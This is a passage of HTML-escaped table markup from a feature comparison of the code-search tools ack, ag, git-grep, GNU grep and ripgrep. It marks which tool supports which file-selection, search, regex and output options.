                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Include/exclude files by filetype&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Specify filetype by file extension&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Specify filetype by pattern match on filename&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Specify filetype by pattern match on first line of file&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Configuration file&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;System-, user- and project-level&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;System-, user- and project-level&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;Specified by RIPGREP_CONFIG_PATH environment variable&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Ignore files based on .gitignore or .ignore files&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Parallelism&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔, threads&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔, threads&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔, threads&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Deterministic output&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔, using --sort-files&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔, using --sort path&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Match patterns across newlines&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Smart case searching&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Multiple patterns with boolean expressions&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Print lines by number&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Show proximity of matches to other matches&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔, in ack 3&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Build output for each line based on match groups&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Limit length of output lines&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Underline matches to show matches w/o color&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Search in gzip files&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
        &lt;tr&gt;
            &lt;th&gt;
                Searching
            &lt;/th&gt;
            &lt;th&gt;ack&lt;/th&gt;
            &lt;th&gt;ag&lt;/th&gt;
            &lt;th&gt;git-grep&lt;/th&gt;
            &lt;th&gt;GNU grep&lt;/th&gt;
            &lt;th&gt;rg&lt;/th&gt;
        &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Ignore case&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Smart case searching (case-insensitive unless the pattern contains a capital letter)&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Re-enable case-sensitive search over case-insensitive or smart-case search&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Match whole words&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Invert match&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Match entire line only&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Specify pattern explicitly&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Read patterns from a file&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Specify multiple patterns with boolean expressions&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Match patterns across newlines&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Print specific lines by number&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
        &lt;tr&gt;
            &lt;th&gt;
                Regular expressions
            &lt;/th&gt;
            &lt;th&gt;ack&lt;/th&gt;
            &lt;th&gt;ag&lt;/th&gt;
            &lt;th&gt;git-grep&lt;/th&gt;
            &lt;th&gt;GNU grep&lt;/th&gt;
            &lt;th&gt;rg&lt;/th&gt;
        &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Use fixed strings, not regular expressions, for a literal match&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Use basic regular expressions&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Use extended regular expressions&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Use Perl (or Perl-compatible) regular expressions&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
        &lt;tr&gt;
            &lt;th&gt;
                Search output
            &lt;/th&gt;
            &lt;th&gt;ack&lt;/th&gt;
            &lt;th&gt;ag&lt;/th&gt;
            &lt;th&gt;git-grep&lt;/th&gt;
            &lt;th&gt;GNU grep&lt;/th&gt;
            &lt;th&gt;rg&lt;/th&gt;
        &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Print only filenames that contain matches&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Print only filenames that do not contain matches&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Show only the part of a line that matched&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Specify output for each line match&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Print the filename for each match&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Suppress the prefixing filename on output&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Print paths relative to the project top directory&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Prefix the line number to matching lines&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Suppress line numbers&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Print a heading of each file&amp;#39;s name before its matches&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Specify filename to show for matches on STDIN&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Show the column number of the first match&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Print lines of context after matches&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Print lines of context before matches&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Print lines of context before and after matches&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Show number of lines matching per file&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Print null byte as separator between filenames&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Stop searching in each file after NUM matches&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Stop searching after one match of any kind&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Print the byte offset within the file before each line&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Suppress error messages about nonexistent or unreadable files&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Limit length of output lines&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Do not output matched lines&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Print stats (files scanned, time taken, etc.)&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
        &lt;tr&gt;
            &lt;th&gt;
                File presentation
            &lt;/th&gt;
            &lt;th&gt;ack&lt;/th&gt;
